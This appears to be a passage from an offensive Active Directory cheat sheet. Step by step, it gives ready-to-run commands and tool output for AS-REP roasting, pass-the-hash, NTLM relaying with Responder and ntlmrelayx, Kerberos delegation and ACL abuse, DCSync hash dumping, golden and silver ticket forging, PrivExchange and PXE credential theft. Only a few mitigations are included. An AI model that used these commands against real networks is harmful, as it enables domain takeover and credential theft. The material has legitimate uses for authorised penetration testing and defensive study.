$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7ae561334cd58a56af90f7fbb20bbd4493b6754a57d5ebc08cb7f47ea472ebb7c9ba4260f57c11b664be03191550254e5c77a17518aeabc55f9321bd9f52201df820e130aa0e3f4b0986725fd3a14794433881050eb62d384c4058a407a348a7de2ef0767a99c9df4f85d8eba8ce30a4ad59621c51f8ea8c0d33f33e06bea1d8ff28d7a86fc2010fd7fa45d2fcc2178cb13c1006823aec8a5da10cffcceeb6e978754b0d4976df5cccb4beb9776d5a8f4810153ccc0e1237ec74e6ae61402457c6cfe29bca7c2f62b287f13aff063f5a0a21c728581e43b46d7537b3e776b4

# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

# crack AS_REP messages
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Mitigations:

  • All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).

Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r  
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

or with crackmapexec

cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ...

or with psexec

proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d

or with the builtin Windows RDP and mimikatz

sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"

You can extract the local SAM database to find the local administrator hash :

C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash then you can connect to the machine using the TGT.

Using impacket

root@kali:impacket-examples$ python ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
root@kali:impacket-examples$ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass

also with the AES Key if you have it
root@kali:impacket-examples$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com

ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist

Using Rubeus

C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

Capturing and cracking NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

python Responder.py -I eth0

Then crack the hash with hashcat

hashcat -m 5600 -a 0 hash.txt crackstation.txt

NTLMv2 hashes relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

Hash Hashcat Attack method
LM 3000 crack/pass the hash
NTLM/NTHash 1000 crack/pass the hash
NTLMv1/Net-NTLMv1 5500 crack/relay attack
NTLMv2/Net-NTLMv2 5600 crack/relay attack

MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets

SMB Signing Disabled and IPv4

If a machine has SMB signing:disabled, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay and get a shell access on the machine.

  1. Open the Responder.conf file and set the value of SMB and HTTP to Off. 
    [Responder Core]
; Servers to start
...
SMB = Off     # Turn this off
HTTP = Off    # Turn this off
  2. Run python RunFinger.py -i IP_Range to detect machine with SMB signing:disabled.
  3. Run python Responder.py -I <interface_card> and python MultiRelay.py -t <target_machine_IP> -u ALL
  4. Also you can use ntlmrelayx to dump the SAM database of the targets in the list. 
    ntlmrelayx.py -tf targets.txt
  5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions. 
    $ ntlmrelayx.py -tf /tmp/targets.txt -socks -smb2support
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> socks
Protocol  Target          Username                  Port
--------  --------------  ------------------------  ----
MSSQL     192.168.48.230  VULNERABLE/ADMINISTRATOR  1433
SMB       192.168.48.230  CONTOSO/NORMALUSER1       445
MSSQL     192.168.48.230  CONTOSO/NORMALUSER1       1433

$ proxychains smbclient //192.168.48.230/Users -U contoso/normaluser1
$ proxychains mssqlclient.py contoso/normaluser1@192.168.48.230 -windows-auth

Mitigations:

  • Disable LLMNR via group policy 
    Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
  • Disable NBT-NS 
    This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP

SMB Signing Disabled and IPv6

Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

cme smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials
ntlmrelayx.py -6 -wh $attacker_ip -of loot -tf relay.txt
or 
ntlmrelayx.py -6 -wh $attacker_ip -l /tmp -socks -debug

Drop the MIC

The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with cve-2019-1040-scanner

python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)

  • Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD

    TERM1> python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname>
TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc

  • Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.

    # create a new machine account
TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support 
TERM2> python printerbug.py relaytest.local/testuser@second-dc-server 10.0.2.6
TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME

# connect using the ticket
export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
secretsdump.py -k -no-pass second-dc-server.local -just-dc

Ghost Potato - CVE-2019-1384

Prerequisites:

  • User must be a member of the local Administrators group
  • User must be a member of the Backup Operators group
  • Token must be elevated

Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip

ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe

Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object "CN=AdminSDHolder,CN=System," or set "adminCount" attribute to 0 for the required object.

The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with AdminCount=1.

python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json

AdminSDHolder

Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()

AdminSDHolder Abuse

If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp.

# right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
# give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All

Abusing Active Directory ACLs/ACEs

Check ACL for an User with ADACLScanner.

ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show

GenericAll

  • GenericAll on User : We can reset user's password without knowing the current password
  • GenericAll on Group : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group : net group "domain admins" spotless /add /domain

GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its hash and kerberoast it.

# using PowerView
# Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
 
# Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname
 
# Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}

GenericWrite

  • Reset another user's password

    # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
$user = 'DOMAIN\user1'; 
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;

  • WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1

GenericWrite and Remote Connection Manager

Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.

This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/

⚠️ The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

WriteDACL

To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'

# Give DCSync right to the principal identity
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local

Trust relationship between domains

  • One-way
    • Domain B trusts A
    • Users in Domain A can access resources in Domain B
    • Users in Domain B cannot access resources in Domain A
  • Two-way
    • Domain A trusts Domain B
    • Domain B trusts Domain A
    • Authentication requests can be passed between the two domains in both directions

Enumerate trusts between domains

nltest /trusted_domains

or

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional

Exploit trusts between domains

⚠️ Require a Domain-Admin level access to the current domain.

Source Target Technique to use Trust relationship
Root Child Golden Ticket + Enterprise Admin group (Mimikatz /groups) Inter Realm (2-way)
Child Child SID History exploitation (Mimikatz /sids) Inter Realm Parent-Child (2-way)
Child Root SID History exploitation (Mimikatz /sids) Inter Realm Tree-Root (2-way)
Forest A Forest B PrinterBug + Unconstrained delegation ? Inter Realm Forest or External (2-way)

Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.

Prerequisite:

  • KRBTGT Hash

  • Find the SID of the domain

    $ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

# with Impacket
lookupsid.py domain/user:password@10.10.10.10

  • Replace 502 with 519 to represent Enterprise Admins

  • Create golden ticket and attack parent domain.

    kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt

Kerberos Unconstrained Delegation

The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

⚠️ Unconstrained delegation used to be the only option available in Windows 2000

Domain Compromise via DC Print Server and Unconstrained Delegation

Prerequisites:

  • Object with Property "Trust this computer for delegation to any service (Kerberos only)"
  • Must have ADS_UF_TRUSTED_FOR_DELEGATION
  • Must not have ADS_UF_NOT_DELEGATED flag

Find delegation

Check the TrustedForDelegation property.

# From https://github.com/samratashok/ADModule
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}

or 

$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10   
grep TRUSTED_FOR_DELEGATION domain_computers.grep

NOTE: Domain controllers usually have unconstrained delegation enabled

Monitor with Rubeus

Monitor incoming connections from Rubeus.

Rubeus.exe monitor /interval:1

Force a connect back from the DC

SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface

# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

If the attack worked you should get a TGT of the domain controller.

Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt

Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets

Then you can use DCsync or another attack : mimikatz # lsadump::dcsync /user:HACKER\krbtgt

Mitigation

  • Ensure sensitive accounts cannot be delegated
  • Disable the Print Spooler Service

Kerberos Constrained Delegation

Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,

Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).

# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname

# Find the service 
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo

# Exploit with Impacket
$ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

# Exploit with Rubeus
$ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt
$ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /ptt
$ dir \\dc.domain.com\c$

Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

  1. Import Powermad and Powerview

    PowerShell.exe -ExecutionPolicy Bypass
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

  2. Get user SID

    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier

  3. Abuse MachineAccountQuota to create a computer account and set an SPN for it

    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)

  4. Rewrite DC's AllowedToActOnBehalfOfOtherIdentity properties

    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl

  5. Use Rubeus to get hash from password

    Rubeus.exe hash /password:'Weakest123*' /user:swktest  /domain:factory.lan
[*] Input password             : Weakest123*
[*] Input username             : swktest
[*] Input domain               : factory.lan
[*] Salt                       : FACTORY.LANswktest
[*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
[*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
[*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
[*]       des_cbc_md5          : BA297CFD07E62A5E

  6. Impersonate domain admin using our newly created machine account

    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt

[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':

    doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
    AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
    LmZhY3RvcnkubGFu

[*] Action: Import Ticket
[+] Ticket successfully imported!

Relay delegation with mitm6

Prerequisites:

  • IPv6 enabled (Windows prefers IPV6 over IPv4)
  • LDAP over TLS (LDAPS)

ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

git clone https://github.com/fox-it/mitm6.git 
cd /opt/tools/mitm6
pip install .

mitm6 -hw ws02 -d lab.local --ignore-nofqnd
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
then use rubeus with s4u to relay the delegation

PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.
⚠️ You need a shell on a user account with a mailbox.

  1. Exchange server hostname or IP address

    pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username

  2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

    ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username

  3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

    # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange

# https://github.com/G0ldenGunSec/PowerPriv 
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016

  4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    python secretsdump.py xxxxxxxxxx -just-dc
python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm

  5. Clean your mess and restore a previous state of the user's ACL

    python aclpwn.py --restore ../aclpwn-20190319-125741.restore

Alternatively you can use the Metasploit module

use auxiliary/scanner/http/exchange_web_server_pushsubscription

Alternatively you can use an all-in-one tool : Exchange2domain.

git clone github.com/Ridter/Exchange2domain 
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip

PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

  • Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.

  • Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    net user hacker Password123! /add
net localgroup administrators /add hacker

  • Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

    # Import the module
PS > Import-Module .\PowerPXE.ps1

# Start the exploit on the Ethernet interface
PS > Get-PXEcreds -InterfaceAlias Ethernet
PS > Get-PXECreds -InterfaceAlias « lab 0 » 

# Wait for the DHCP to get an address
>> Get a valid IP adress
>>> >>> DHCP proposal IP address: 192.168.22.101
>>> >>> DHCP Validation: DHCPACK
>>> >>> IP address configured: 192.168.22.101

# Extract BCD path from the DHCP response
>> Request BCD File path
>>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
>>> >>> TFTP IP Address:  192.168.22.3

# Download the BCD file and extract wim files
>> Launch TFTP download
>>>> Transfer succeeded.
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
>> Launch TFTP download
>>>> Transfer succeeded.

# Parse wim files to find interesting data
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1

Impersonating Office 365 Users on Azure AD Connect

Prerequisites:

  • Obtain NTLM password hash of the AZUREADSSOACC account

    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

  • AAD logon name of the user we want to impersonate (userPrincipalName or mail)

    elrond@contoso.com

  • SID of the user we want to impersonate

    S-1-5-21-2121516926-2695913149-3163778339-1234

Create the Silver Ticket and inject it into Kerberos cache:

mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

Launch Mozilla Firefox, go to about:config

network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".

Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.

Linux Active Directory

CCACHE ticket reuse from /tmp

List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets

CCACHE ticket reuse from keytab

git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.

$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
	 KVNO: 25
	 Key type: 23
	 Key: 6b3723410a3c54692e400a5862256e0a
	 Time stamp: Oct 07,  2019 09:12:02
[...]

On macOS you can use bifrost.

./bifrost -action dump -source keytab -path test

Connect to the machine using the account and the hash with CME.

$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "6b3723410a3c54692e400a5862256e0a" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 6b3723410a3c54692e400a5862256e0a

References